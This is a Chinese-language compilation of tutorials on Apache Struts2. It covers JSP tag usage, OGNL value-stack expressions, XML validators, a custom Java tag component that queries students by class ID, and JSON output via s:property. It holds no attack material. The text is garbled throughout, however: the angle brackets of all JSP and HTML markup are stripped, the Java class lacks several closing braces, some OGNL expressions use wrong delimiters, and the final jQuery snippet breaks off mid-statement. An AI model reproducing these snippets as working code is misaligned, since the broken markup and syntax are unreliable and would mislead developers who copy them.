1.Struts2的作用 Struts2标签库提供了主题、模板支持,极大地简化了视图页面的编写,而且,struts2的主题、模板都提供了很好的扩展性。实现了更好的代码复用。Struts2允许在页面中使用自定义组件,这完全能满足项目中页面显示复杂,多变的需求。 Struts2的标签库有一个巨大的改进之处,struts2标签库的标签不依赖于任何表现层技术,也就是说strtus2提供了大部分标签,可以在各种表现技术中使用。包括最常用的jsp页面,也可以说Velocity和FreeMarker等模板技术中的使用 2.Struts2分类 (1)UI标签:(User Interface, 用户界面)标签,主要用于生成HTML元素标签,UI标签又可分为表单标签非表单标签 (2)非UI标签,主要用于数据访问,逻辑控制等的标签。非UI标签可分为流程控制标签(包括用于实现分支、循环等流程控制的标签)和数据访问标签(主要包括用户输出ValueStack中的值,完成国际化等功能的) (3)ajax标签 3.Struts2标签使用前的准备: (1)在要使用标签的jsp页面引入标签库: %@ taglib uri=”/struts-tags” prefix=”s”% (2)在web.xml中声明要使用的标签 这样是struts2 2.3.1.2版本的引入方式 filter filter-name struts2 /filter-name filter-class org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter /filter-class /filter 4.标签的使用 (1)property标签 用于输出指定的值: s:property value=”%{@cn.csdn.hr.domain.User@Name}”/ br/ s:property value=”@cn.csdn.hr.domain.User@Name”/ Br/ !– 以上两种方法都可以 — s:property value=”%{@cn.csdn.hr.domain.User@study()}”/ 以上可以访问某一个包的类的属性的集中方式,study()是访问方法的方法,并输出。 以下用java代码代替的,访问某一个范围内的属性 % //采用pageContext对象往page范围内存入值来 验证#attr搜索顺序是从page开始的 ,搜索的顺序为:page,reques,session,application。 set存值的时候存到的是request中,在jsp页面中访问的时候不用加任何的标识符,即可直接访问,如果不同的作用域不一样了, pageContext.setAttribute(“name”, “laoowang”, PageContext.PAGE_SCOPE); % s:property value=”#attr.name” / 假设在action中设置了不同作用域的类 不同的作用域的标签的访问: h3 获取的是requet中的对象值 /h3 第一种方式: s:property value=”#request.user1.realName”/ br/ 第二种方式: s:property value=”#request.user1[‘realName’]”/ br/ 第三种方式: s:property value=”#user1.realName”/ br/ 第四种方式: s:property value=”#user1[‘realName’]”/ br/ 第五种方式:${requestScope.user1.realName } || ${requestScope.user1[‘realName’] } 第六种: s:property value=”#attr.user1.realName”/ attr对象按page== request sessionapplictio找的 h3 获取session中的值 /h3 第一种方式: s:property value=”#session.user1.realName”/ br/ 第二种方式: s:property value=”#session.user1[‘realName’]”/ 第五种方式:${sessionScope.user1.realName } || ${sessionScope.user1[‘realName’] } h3 获取application中的对象的值 /h3 第一种方式: s:property value=”#application.user1.realName”/ br/ 第二种方式: s:property value=”#application.user1[‘realName’]”/ 第五种方式:${applicationScope.user1.realName } || ${applicationScope.user1[‘realName’] } (2)iterator标签的使用 第一种:list集合 !– 设置set集合 value– !– status 可选属性,该属性指定迭代时的IteratorStatus实例 — !– value=”#attr.list” list存放到了request中 可以value=”#request.list” statu.odd返回当前被迭代元素的索引是否是奇数 — s:set name=”list” value=”{‘a’,’b’,’c’,’d’}” /s:set s:iterator var=”ent” value=”#request.list” status=”statu” s:if test=”%{#statu.odd}” font color=”red” s:property value=”#ent” / /font /s:if s:else s:property value=”#ent” / /s:else /s:iterator 第二种:map集合中的使用 h3 Map集合 /h3 !– map集合的特点: 语法格式:# {key:value,key1:value1,key2:value2,…..} 以上的语法中就直接生成了一个Map类型的集合,该Map对象中的每个key-value对象之间用英文的冒号隔开 ,多个元素之间用逗号分隔。 — /div s:set var=”map” value=”#{‘1′:’laowang’,’2′:’老王’,’3′:’猩猩’}” /s:set 遍历Map: br / s:iterator value=”#map” s:property value=”key” / ::: s:property value=”value” / Br / /s:iterator \ 第三种:集合的变量 h3 遍历集合::: /h3 div !– 遍历出价格大于3000的 — s:iterator var=”user” value=”#session[‘users’]” s:if test=”%{#user[‘price’] 3000}” s:property value=”#user[‘price’]”/ /s:if /s:iterator hr color=”blue”/ !– $是取出价格 大于3000的最后一个值 — s:iterator var=”u” value=”#session.users.{$(#this[‘price’] 3000)}” s:property value=”price”/ /s:iterator /div 注:users是User的对象,price是User中的一个属性 简述一下iterator的介绍: iterator标签用于对集合进行迭代,这里的集合包含List、Set和数组。 s:set name=”list” value=”{‘zhangming’,’xiaoi’,’liming’}” / s:iterator value=”#list” status=”st” font color= s:if test=”#st.odd” red /s:if s:else blue /s:else s:property / /font br /s:iterator value:可选属性,指定被迭代的集合,如果没有设置该属性,则使用ValueStack栈顶的集合。 id:可选属性,指定集合里元素的id。 status:可选属性,该属性指定迭代时的IteratorStatus实例。该实例包含如下几个方法: int getCount(),返回当前迭代了几个元素。 int getIndex(),返回当前迭代元素的索引。 boolean isEven(),返回当前被迭代元素的索引是否是偶数 boolean isOdd(),返回当前被迭代元素的索引是否是奇数 boolean isFirst(),返回当前被迭代元素是否是第一个元素。 boolean isLast(),返回当前被迭代元素是否是最后一个元素。 (3)if else语句的使用 s:set name=”age” value=”21″ / s:if test=”#age==23″ 23 /s:if s:elseif test=”#age==21″ 21 /s:elseif s:else 都不等 /s:else (4)URL标签 !– 声明一个URL地址 — s:url action=”test” namespace=”/tag” var=”add” s:param name=”username” laowangang /s:param s:param name=”id” 12 /s:param /s:url s:a href=”%{add}” 测试URL /s:a s:a action=”test” namespace=”/tag” /s:a 以上的两个 s:a 标签的作用是一样的。 (5)data标签 % pageContext.setAttribute(“birth”,new Date(200,03,10),PageContext.REQUEST_SCOPE); % s:date name=”#request.birth” format=”yyyy年MM月dd日”/ s:date name=”#request.birth” nice=”true”/ 这个标签是按照format的格式去输出的。 (6)表单 h1 from表单 /h1 s:form action=”test” namespace=”/tag” s:textfield label=”用户名” name=”uname” tooltip=”你的名字” javascriptTooltip=”false” /s:textfield s:textarea name=”rmake” cols=”40″ rows=”20″ tooltipDelay=”300″ tooltip=”hi” label=”备注” javascriptTooltip=”true” /s:textarea s:password label=”密码” name=”upass” /s:password s:file name=”file” label=”上传文件” /s:file s:hidden name=”id” value=”1″ /s:hidden !– select name=”edu” option value=”listKey” listValue /option — s:select list=”#{‘1′:’博士’,’2′:’硕士’}” name=”edu” label=”学历” listKey=”key” listValue=”value” /s:select s:select list=”{‘java’,’.net’}” value=”java” /s:select !– value是选中的 — !– 必须有name — s:checkbox label=”爱好 ” fieldValue=”true” name=”checkboxFiled1″ /s:checkbox !– 多个checkbox — s:checkboxlist list=”{‘java’,’css’,’html’,’struts2′}” label=”喜欢的编程语言” name=”box” value=”{‘css’,’struts2′}” /s:checkboxlist !– map集合前要加# — s:checkboxlist list=”#{1:’java’,2:’css’,3:’html’,4:’struts2′,5:’spring’}” label=”喜欢的编程语言” name=”boxs” value=”{1,2}” /s:checkboxlist !– listKey listValue input type=”text” name=”boxs” value=”listKey” 显示值listValue !– radio — % //从服务器传过来值 pageContext.setAttribute(“sex”,”男”,PageContext.REQUEST_SCOPE); pageContext.setAttribute(“sex1″,”男”,PageContext.REQUEST_SCOPE); % s:radio list=”{‘男’,’女’}” name=”sex” value=”#request.sex” /s:radio s:radio list=”#{1:’男’,2:’女’}” name=”sex1″ listKey=”key” listValue=”value” value=”#request.sex1″ /s:radio !– 防止表单提交的方式 — s:token /s:token s:submit value=”提交” /s:submit /s:form 来自:http://www.open-open.com/lib/view/open1331393920452.html

Struts2框架之-Struts2的标签

s:a href= ” /s:a 超链接,类似于html里的 a /a s:action name= ” /s:action 执行一个view里面的一个action s:actionerror/ 如果action的errors有值那么显示出来 s:actionmessage/ 如果action的message有值那么显示出来 s:append /s:append 添加一个值到list,类似于list.add(); s:autocompleter /s:autocompleter 自动完成 s:combobox 标签的内容,这个是ajax B: s:bean name= ” /s:bean 类似于struts1.x中的,JavaBean的值 C: s:checkbox /s:checkbox 复选框 s:checkboxlist list= ” /s:checkboxlist 多选框 s:combobox list= ” /s:combobox 下拉框 s:component /s:component 图像符号 D: s:date/ 获取日期格式 s:datetimepicker /s:datetimepicker 日期输入框 s:debug /s:debug 显示错误信息 s:div /s:div 表示一个块,类似于html的 div /div s:doubleselect list= ” doubleName= ” doubleList= ” /s:doubleselect 双下拉框 E: s:if test= ” /s:if s:elseif test= ” /s:elseif s:else /s:else 这3个标签一起使用,表示条件判断 F: s:fielderror /s:fielderror 显示文件错误信息 s:file /s:file 文件上传 s:form action= ” /s:form 获取相应form的值 G: s:generator separator= ” val= ” /s:generator -和 s:iterator 标签一起使用 H: s:head/ 在 head /head 里使用,表示头文件结束 s:hidden /s:hidden 隐藏值 I: s:i18n name= ” /s:i18n 加载资源包到值堆栈 s:include value= ” /s:include 包含一个输出,servlet或jsp页面 s:inputtransferselect list= ” /s:inputtransferselect 获取form的一个输入 s:iterator /s:iterator 用于遍历集合 L: s:label /s:label 只读的标签 M: s:merge /s:merge 合并遍历集合出来的值 O: s:optgroup /s:optgroup 获取标签组 s:optiontransferselect doubleList= ” list= ” doubleName= ” /s:optiontransferselect 左右选择框 P: s:param /s:param 为其他标签提供参数 s:password /s:password 密码输入框 s:property/ 得到 value 的属性 s:push value= ” /s:push value的值push到栈中,从而使property标签的能够获取value的属性 R: s:radio list= ” /s:radio 单选按钮 s:reset /s:reset 重置按钮 S: s:select list= ” /s:select 单选框 s:set name= ” /s:set 赋予变量一个特定范围内的值 s:sort comparator= ” /s:sort 通过属性给list分类 s:submit /s:submit 提交按钮 s:subset /s:subset 为遍历集合输出子集 T: s:tabbedPanel id= ” /s:tabbedPanel 表格框 s:table /s:table 表格 s:text name= ” /s:text I18n文本信息 s:textarea /s:textarea 文本域输入框 s:textfield /s:textfield 文本输入框 s:token /s:token 拦截器 s:tree /s:tree 树 s:treenode label= ” /s:treenode 树的结构 U: s:updownselect list= ” /s:updownselect 多选择框 s:url /s:url 创建url

【Java EE 学习 36】【struts2】【struts2系统验证】【struts2 ognl值栈】【struts2 ongl标签】【struts2 UI标签】【struts2模型驱动和令牌机制】

!DOCTYPE validators PUBLIC “-//Apache Struts//XWork Validator Definition 1.0//EN” “http://struts.apache.org/dtds/xwork-validator-definition-1.0.dtd” !– START SNIPPET: validators-default — validators validator name=”required” / validator name=”requiredstring” / validator name=”int” / validator name=”long” / validator name=”short” / validator name=”double” / validator name=”date” / validator name=”expression” / validator name=”fieldexpression” / validator name=”email” / validator name=”url” / validator name=”visitor” / validator name=”conversion” / validator name=”stringlength” / validator name=”regex” / validator name=”conditionalvisitor” / /validators !– END SNIPPET: validators-default — default.xml (3)field-validator下的param标签中的参数参考com.opensymphony.xwork2.validator.validators.default.xml文件中的类源文件,查看源代码即可得到需要传递的参数的相关信息,如参数名,参数类型等。 5.将手动验证的案例使用系统验证重新写一遍,只列出配置文件: * 文件名:ValidateAction-validateAction-validation.xml *文件内容: ?xml version=”1.0″ encoding=”UTF-8″? !DOCTYPE validators PUBLIC “-//Apache Struts//XWork Validator 1.0.3//EN” “http://struts.apache.org/dtds/xwork-validator-1.0.3.dtd” validators field name=”username” field-validator type=”requiredstring” param name=”trim” true /param message ![CDATA[用户名不能为空!]] /message /field-validator /field field name=”password” field-validator type=”requiredstring” message ![CDATA[密码不能为空]] /message /field-validator field-validator type=”regex” param name=”trim” true /param param name=”regex” ![CDATA[^[0-9a-zA-Z]{6,10}$]] /param message ![CDATA[密码为6-10位的字母和数字的组合!]] /message /field-validator /field /validators 6.两种配置文件的搜索顺序:ActionClassName-validation.xml,ActionClassName-ActionName-validation.xml,系统找到第一个校验文件的时候会继续搜索下一个校验文件,当找到所有校验文件的时候,会把校验文件里面的所有校验规则汇总,然后全部应用于处理方法的校验。如果两个校验文件中指定的校验规则冲突,则只是用后面文件中的校验规则。 二、ognl值栈 1.ognl是Object Graphic Navigation Language的缩写,中文名为对象导航语言,它是一个开源项目。struts2使用ognl作为默认的表达式语言(EL)。 2.使用ognl表达式的优点 (1)支持对象方法调用,如xxx.doSomething(); (2)支持类静态的方法调用和值访问,表达式的格式:@全类名@方法名 举例:@java.lang.String@format(‘foo %s’,’bar’) (3)支持赋值操作和表达式串联,如price=100,discount=0.8,calculate(),这个表达式会返回80 (4)访问ognl上下文(OGNL Context)和ActionContext (5)操作集合对象 3.OGNL有一个上下文的概念(Context),说白了就是一个Map结构,它实现了java.utils.Map接口 4.OGNL表达式中的ValueStack接口 (1)ValueStack是一个接口,在OGNL中使用ValueStack的时候,实际上使用的是OGNLValueStack类,该类实现了ValueStack接口。 (2)ValueStack(值栈)贯穿于整个Action生命周期,每个Action都拥有一个ValueStack对象的实例。它相当于一个中转站,再其中保存当前Action对象和其它相关对象。 (3)ValueStack对象的保存位置:struts2框架将ValueStack对象保存到request对象中的名为”struts.valueStack”的请求属性 中。 (4)ValueStack对象内部有两个逻辑的组成部分。 * ObjectStack:对象栈,struts2将动作和相关对象压入ObjectStack中,实际上是一个List集合。 * ContextMap:struts把各种各样的映射关系(一些Map类型的对象)压入ContextMap中。 (5)ContextMap中常用的一些映射 * parameters:该Map中包含当前请求中的请求参数 * request:该Map中包含当前request中的所有属性 * session:该Map中包含当前session的所有属性。 * application:该Map中包含当前application对象中的所有属性。 * attr:该Map对象会按照如下顺序检索某个属性:request、session、application 5.OgnlValueStack类中对应着对象栈和ContextMap的两个属性 源代码: public class OgnlValueStack implements Serializable, ValueStack, ClearableValueStack, MemberAccessValueStack { CompoundRoot root; transient Map String, Object context; } 其中root继承了ArrayList,是用于实现对象栈的关键。 context就是一个Map对象,它是实现ContextMap的关键。 6.在jsp页面中可以通过 s:debug/ 标签获取ValueStack对象中的详细信息。 7.可以通过ValueStack对象的getRoot方法获取对象栈,因为对象栈实际上是一个ArrayList,所以可以通过add方法在最后插入一个对象,也可以在指定的位置插入一个指定的对象。 浏览器通过debug输出可以得到的信息: 8.通过jsp页面获取对象栈中的值的时候不需要加上#,但是如果想想要访问ContextMap中的值,需要加上#。可以使用 s:property value=””/ 访问ValueStack对象中的属性值。 三、OGNL表达式 1.课件超链接: 2.#符号的使用方法 (1)#相当于ActionServlet.getContext() (2)如果访问 根对象 ,即对象栈中的对象,可以不加上#,但是如果要访问ContextMap中的对象,则需要加上#,比如访问request、session、application、attr、parameters对象中的值,都要加上#符号。 (3)实例: 获取对象栈中保存的username的值和password的值: br/ username: s:property value=”username”/ br/ password: s:property value=”password”/ br/ 获取request对象中的username值: s:property value=”#request.username”/ br/ 获取session对象中的username值: s:property value=”#session.username”/ br/ 获取application对象中的username值: s:property value=”#application.username”/ br/ 获取attr中的username值: s:property value=”#attr.username”/ br/ 获取parameters中的username值: s:property value=”#parameters.username[0]”/ br/ !– 这里直接获取就可以吗?因为放在了对象栈中 — 获取使用ValueStack的set方法设置的键值对: s:property value=”msg”/ (4)如果使用了ValueStack对象中的set(key,value)方法,则不需要加上#也可以直接访问。 通过查看底层代码可以知道,使用该方法的时候会先判断对象栈中是否有已经存在的HashMap对象,如果有,则直接调用该对象的put方法,如果没有,则先会创建一个Map对象,然后再调用put方法添加相应的键值对;该HashMap对象最终被添加到对象栈中。 疑问:使用 s:property 标签尅直接访问到该对象,但是使用 s:debug 标签不能访问到该对象,即对象栈中不存在使用set方法设置的值。 3.集合的投影(过滤) (1)什么是集合的投影?集合的投影是只输出部分值的方法。 (2)首先使用List集合存储十个人的信息,然后将list对象保存到request中,在jsp页面中遍历访问该对象,使用的标签是: s:iterator s:iterator value=”#request.persons” var=”person” s:property value=”#person”/ br/ /s:iterator 结果是: (4)投影的使用方法:collectionName.{expression} * 输出id号大于12的所有Peson的信息 s:iterator value=”#request.persons.{?#this.id 12}” var=”person” s:property value=”#person”/ br/ /s:iterator * 只输出所有人的名字信息 s:iterator value=”#request.persons.{name}” var=”person” s:property value=”#person”/ br/ /s:iterator 4.集合的投影(过滤)续 (1)集合的投影(过滤)有以下三种方式 * a.”?#”,这种方式过滤所有符合条件的集合,如users.{?#this.id 13} * b.”^#”,这种方式过滤第一个符合条件的元素,如users.{^this.age 13} * c.”$.#”,这种方式过滤掉最后一个符合条件的元素,如users.{$this.age 13} (2)this在上述的例子中代表什么? this在上述的实例中代表集合中的单个元素 (3)可以使用带有下标的表达式获取指定的集合中的元素,如#request.pesons.{?#this.id 13}[0],代表id大于12的人中的第一个人。 s:property value=”#request.persons.{?#this.id 13}[0]”/ 运行结果: 5.#符号的用法:构造Map 构造Map的举例:#{‘id1′:’name1′,’id2′:’name2’} 举例: jsp代码: s:radio list=”#{‘male’:’男’,’female’:’女’}” name=”sex” label=”性别”/ 翻译成的HTML代码: tr td label for=”sex” 性别: /label /td td input type=”radio” name=”sex” id=”sexmale” value=”male”/ label for=”sexmale” 男 /label input type=”radio” name=”sex” id=”sexfemale” value=”female”/ label for=”sexfemale” 女 /label /td /tr 效果图: 构造出来的Map对象和radio中的标签中的各个对应关系看看即可。 6.OGNL表达式语言$的用法 (1)$的用途 * 用于在国际化资源中,引用OGNL表达式 * 在struts2配置文件中,引用OGNL表达式 (2)在struts.xml配置文件中,引用ognl表达式,引用request等作用域中的值。如: result name=”success” /orgl/success.jsp?msg=$(#request.msgxx) /result jsp页面只需要使用 s:property 标签就可以获取到该值。 s:property value=”#parameters.msg[0]”/ 7.OGNL表达式%的用法 (1)”%”的作用是当标签的属性值被认为是字符串类型的时候,告诉执行环境%{}里的是ognl表达式。 (2)用法示例: s:textfield name=”name” label=”%(#request.username)”/

Struts2自定义标签2自定义一个按班级id查询出该班级下的学生,存放进值栈,并遍历出来。

import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.apache.struts2.ServletActionContext; import org.apache.struts2.components.ContextBean; import org.apache.struts2.views.annotations.StrutsTag; import org.apache.struts2.views.annotations.StrutsTagAttribute; import org.springframework.context.ApplicationContext; import org.springframework.web.context.support.WebApplicationContextUtils; import com.bjsxt.sxf.dao.StudentDao; import com.bjsxt.sxf.po.Student; import com.opensymphony.xwork2.util.ValueStack; /** * MyTag标签的业务逻辑 * @ClassName: StuComponent * @Description: TODO(这里用一句话描述这个类的作用) * @author 尚晓飞 * @date 2014-10-21 下午5:12:31 * */ //注解现在还不清楚什么意思,就当时描述作用,没有也行。 @StrutsTag(name=”selectByClassId”, tldBodyContent=”JSP”, tldTag , description=”sxf zdy”) public class StuComponent extends ContextBean { protected String classId; protected String callBack=”data”; protected String num; protected String vard; //标签进来,先运行该方法 public StuComponent(ValueStack stack,HttpServletRequest req, HttpServletResponse res) { super(stack); System.out.println(“StuComponent.StuComponent()”);//标签运行第二站 //下面可以直接获取,也可以通过标签体中的populateParams()方法,给该对象中的属性赋值set方法 // classId=req.getParameter(“classId”); // num=req.getParameter(“num”); //业务逻辑开始 @Override public boolean start(Writer writer) { //班级id System.out.println(“StuComponent.start()”);//标签运行第四站 Integer classIds=Integer.valueOf(classId); //查询出该班级的集合 //ssh框架获取spring的ioc容器,从而获取与数据库交互的dao对象 ApplicationContext app = WebApplicationContextUtils.getWebApplicationContext(ServletActionContext.getServletContext()); //获取与数据库交互的dao StudentDao dao=(StudentDao) app.getBean(“StudentDao”); List Student students=dao.queryByClassId(classIds); //获取标签的储存属性名 String varString=getVar();//此方法是继承ContextBean才有的,返回的是存储数据的变量名 if(varString!=null){ callBack=varString; } //将得到的数据库数据集合,存放入集合。 //应该是struts2中的值栈,用来存放显示层要去的从数据库查询出来的值 ValueStack stack=getStack(); Map String, Object listMap=stack.getContext(); //标签逻辑类继承ContextBean类时,该类里有getVar()方法返回引用数据的变量 listMap.put(callBack, students); //标签类继承Component类时,该类里没有getVar()方法,但可以从标签类中,将引用数据的变量通过 populateParams() //传递到逻辑类里,直接存放到值栈的map中 //说白了,标签中取出的数据,都是从值栈的map中取,只要值栈的map key:vlaue 中有key,就能得到value //listMap.put(vard, students); return true;//retrun true则执行标签体内的jsp页面内容,return false则跳过标签体内容,执行标签后面的内容 @Override public boolean end(Writer writer, String body) { System.out.println(“StuComponent.end()”);//标签运行第五站 //清空引用,可以使垃圾回收机制,回收没用的对象,减轻内存压力 getStack().getContext().remove(vard); return false;//return false 或true意思暂时不明确 public String getClassId() { return classId; } @StrutsTagAttribute(description=”classId”,required=true)//必须有 public void setClassId(String classId) { this.classId = classId; } public String getCallBack() { return callBack; } public void setCallBack(String callBack) { this.callBack = callBack; } public String getNum() { return num; } @StrutsTagAttribute(description=”num”,required=false)//非必须 public void setNum(String num) { this.num = num; public String getVard() { return vard; public void setVard(String vard) { this.vard = vard; }

struts2使用jsp和<s:property>标签获取json格式的返回数据

struts2使用jsp和 s:property 标签获取json格式的返回数据 1、struts2的action中 return “success”; 2、指向的返回页面success.jsp中的内容为: %@ page language=”java” contentType=”text/html; charset=UTF-8″ pageEncoding=”UTF-8″% %@ taglib prefix=”s” uri=”/struts-tags”% s:property value=”jsonString” escape=”false” / 3、前端jquery的请求方式如下: $.ajax({ url: _url, type: ‘post’, dataType: ‘json’, success: function(data){ 此处返回的data即为json格式的数据;